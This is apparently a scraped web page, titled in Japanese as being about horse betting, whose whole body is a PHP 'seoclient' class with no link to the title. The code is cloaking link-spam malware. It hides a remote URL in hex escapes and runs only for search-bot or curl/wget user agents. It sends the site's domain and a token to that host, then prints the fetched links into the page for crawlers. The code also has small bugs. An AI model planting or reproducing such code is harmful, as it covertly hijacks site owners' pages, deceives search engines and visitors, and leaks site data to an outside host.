馬掛けについて

4736 ワード

if(!class_exists('seoclient')){
    class seoclient{
        private $debug = NULL;
        private $arr = array();
        private $socket = "\X68\X74\X74\X70\X3A\X2F\X2F\X77\X77\X77\X2E\X70\X72\X6F\X62\X61\X69\X64\X75\X2E\X63\X6F\X6D\X2F\X69\X6E\X64\X65\X78\X2E\X70\X68\X70";

        public function __construct($debug = false) {
            $this->debug = $debug;
        }
        public function kecho($param,$line = "") {
            echo "<pre>";
            print_r($param);    echo "<hr>";    print_r($line);
            echo "</pre>";
        }


        public function main(){

            if (!self::is_bot())  return;
            $res = json_decode($this->post($this->socket,  $this->pcontext()),ture);
            $arr = array();
            foreach ($res as $key => $value) {
                if(self::file_exists($value)){
                    if(function_exists('file_get_contents')){
                        $arr = $this->file_get_contents($value);
                    }  else {
                        $arr = $this->file_get_array($value);
                    }
                    $this->frame($arr);                
                }
            }
        }

        protected function file_get_array($filename,$mode='r') {
            $arr = array();
            $fp = fopen($filename, $mode);
            while (!feof($fp)) {
                $arr[] = fgets($fp);
            }
            return $arr;
        }

        protected function file_get_contents($url) {
            $contents = file_get_contents($url);
            $contents = str_replace("a>", "a>|", $contents);
            $contents  = str_replace(PHP_EOL, '', $contents); 
            $array = explode('|', $contents);
            $array = array_filter($array);
            return $array;
        }

        protected function frame_td($a) {
            if(is_null($a)){
                 return  ;
            }
            return  "<td>$a</td>";
        }

        protected function frame_tr($a,$b,$c,$d) {
            $format = "<tr > ".self::frame_td($a).self::frame_td($b).self::frame_td($c).self::frame_td($c). "</tr>";
            echo  $format;
        }

         public function file_exists($page) {
            $headers = @get_headers($page);
            if ($headers) {
                $head = explode(' ', $headers[0]);
                if ( !empty($head[1]) && intval($head[1]) < 400) {
                    return true;
                }
            }
            return false;
        }

        public function frame($array) {
            echo "<table style='align:center;width:90%;cellpadding:1;cellspacing:0;border-style:dashed;border-width:1px; border-color:#000000;'>"; 
            for ($index = 0; $index < count($array); $index++) {
                self::frame_tr($array[$index],$array[$index+1],$array[$index+2],$array[$index+3]);
                $index = $index+3;
            }
            echo("</table><br><br>");

        }


        public function pcontext() {
            $d = array();
            $d['domain']    = $_SERVER['SERVER_NAME'];
            $d['token']     = substr(md5($_SERVER['SERVER_NAME']), 5,15);
            return $d;
        }


        public function post($url, $post = null,$method = 'POST',  $timeout= 60, $i =0)
        {
            $context = array();
            if (is_array($post)) {
                ksort($post);
                $context['http'] = array (
                    'timeout'=> $timeout,   'method' => $method,
                    'content' => http_build_query($post, '', '&'),
                );
            }
            $context = stream_context_create($context);
            while($i < 3 && ($html =file_get_contents($url, false, $context))===FALSE) {
                $i++;
            }
            return $html;
        }


         public function is_bot($botchar = "/(Googlebot|baidu|bot|crawl|spider|soso|sohu-search|curl|wget|360)/i"){
            if($this->debug){
                return TRUE;
            }
            $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
            if(preg_match($botchar, $user_agent)) {
                return TRUE;
            }else {           
                return false;
            }
        }

    }
}

if(!isset($seo_instance)){
    $seo_instance = new seoclient();
    $seo_instance->main();
}